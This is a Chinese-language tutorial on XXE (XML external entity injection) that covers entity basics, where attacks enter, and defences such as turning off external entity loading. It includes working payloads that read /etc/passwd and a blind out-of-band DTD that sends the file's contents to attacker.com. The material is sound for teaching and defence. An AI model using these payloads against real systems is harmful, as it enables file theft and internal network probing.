XXE(XML外部实体注入)漏洞与防护
字数 1135 2025-11-06 12:41:20
XXE(XML外部实体注入)漏洞与防护
题目描述
XXE(XML External Entity Injection)是一种针对XML处理器的安全漏洞,攻击者通过篡改XML输入,利用外部实体声明来读取服务器文件、发起SSRF攻击或执行远程代码。由于许多应用(如API、文档解析器)使用XML传输数据,若未正确配置解析器,极易遭受XXE攻击。
知识要点
- XML基础结构:XML文档可定义实体(类似变量),例如
<!ENTITY name "value">。 - 外部实体:通过
SYSTEM关键字引用外部资源,如<!ENTITY ext SYSTEM "file:///etc/passwd">。 - 攻击原理:解析器若允许加载外部实体,攻击者可通过注入恶意实体窃取数据或探测内网。
解题过程循序渐进讲解
步骤1:理解XML外部实体的工作方式
- 正常XML文档可能包含预定义实体(如
<代表<),但外部实体允许从文件、URL等加载数据。 - 示例:以下XML声明一个外部实体,并引用它:
若解析器未禁用外部实体,<?xml version="1.0"?> <!DOCTYPE data [ <!ENTITY file SYSTEM "file:///etc/passwd"> ]> <user>&file;</user>&file;会被替换为文件内容。
步骤2:识别XXE攻击场景
- 常见入口:
- 接受XML输入的功能(如API请求、文件上传、SOAP服务)。
- 参数可能隐藏在HTTP请求的Body或Header中。
- 攻击类型:
- 文件读取:通过
file://协议读取系统文件。 - SSRF攻击:利用
http://协议访问内网服务。 - 盲注XXE:通过报错或外带数据(OOB)验证漏洞存在。
- 文件读取:通过
步骤3:手动构造XXE攻击载荷
- 基础攻击(读取文件):
<!-- 注入到XML输入中 --> <?xml version="1.0"?> <!DOCTYPE attack [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <data>&xxe;</data> - 盲注场景(无回显时):
- 使用参数实体+外部DTD触发OOB数据外带:
<!-- 攻击者控制的DTD文件(http://attacker.com/malicious.dtd) --> <!ENTITY % payload SYSTEM "file:///etc/passwd"> <!ENTITY % oob "<!ENTITY % send SYSTEM 'http://attacker.com/?data=%payload;'>"> %oob;
- 使用参数实体+外部DTD触发OOB数据外带:
步骤4:防护措施的实现原理
- 禁用外部实体:
- 在解析器中显式设置属性(如PHP中
libxml_disable_entity_loader(true))。 - Java的SAXParser或DocumentBuilder设置
FEATURE_SECURE_PROCESSING。
- 在解析器中显式设置属性(如PHP中
- 使用白名单验证:
- 仅允许安全的XML结构,过滤
<!DOCTYPE>和<!ENTITY>声明。
- 仅允许安全的XML结构,过滤
- 转换数据格式:
- 用JSON等替代XML(如REST API)。
- 静态代码扫描:
- 检查代码中XML解析器的配置是否安全。
步骤5:实战中的深度防护
- 依赖库更新(如Apache Xerces已默认禁用外部实体)。
- 网络层限制:解析器所在服务器禁止外网请求,减少SSRF风险。
- 日志监控:异常XML请求应触发告警。
通过以上步骤,可系统掌握XXE的漏洞原理、利用方法及防护策略。实际开发中,务必在设计阶段强制禁用外部实体,并结合代码审计工具排查潜在风险。